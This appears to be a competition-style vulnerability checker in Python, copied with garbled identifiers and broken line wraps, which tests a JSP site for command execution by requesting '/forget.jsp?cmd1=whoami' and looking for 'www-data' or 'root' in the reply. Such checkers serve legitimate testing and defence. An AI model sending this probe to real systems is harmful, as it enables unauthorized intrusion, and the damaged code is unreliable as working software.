III. WEB_easy.jsp.py

▼ Python

```
import requests
headers = {
      'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3
  6 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'
  }
def check_alive(url):
      is 404 = False
      is_alive = False
      try:
          r = requests.get(url, headers=headers, timeout=5, allow_redirects=Fals
  e)
          if r.status_code == 404:
              is 404 = True
          if r.status code == 200:
              is alive = True
      except:
          print('check_service 请求失败')
      return [is_alive, is_404]
- def check1(url):
      description = '第一处: /forget.jsp 存在命令执行'
      is 404 = False
      is_vuln = False
      try:
          r = requests.get(url + '/forget.jsp?cmd1=whoami', headers=headers, ti
  meout=5)
          if r.status_code == 404:
              is 404 = True
          if 'www-data' in r.text:
              is vuln = True
          elif 'root' in r.text:
              is vuln = True
      except Exception as e:
          print(e)
          pass
      return [is_vuln, is_404, description]
- def check(url, point):
      return check_alive(url) + globals()['check' + point](url)
```

```
if __name__ == '__main__':
    print(check1('http://4.4.1.2:8080'))
```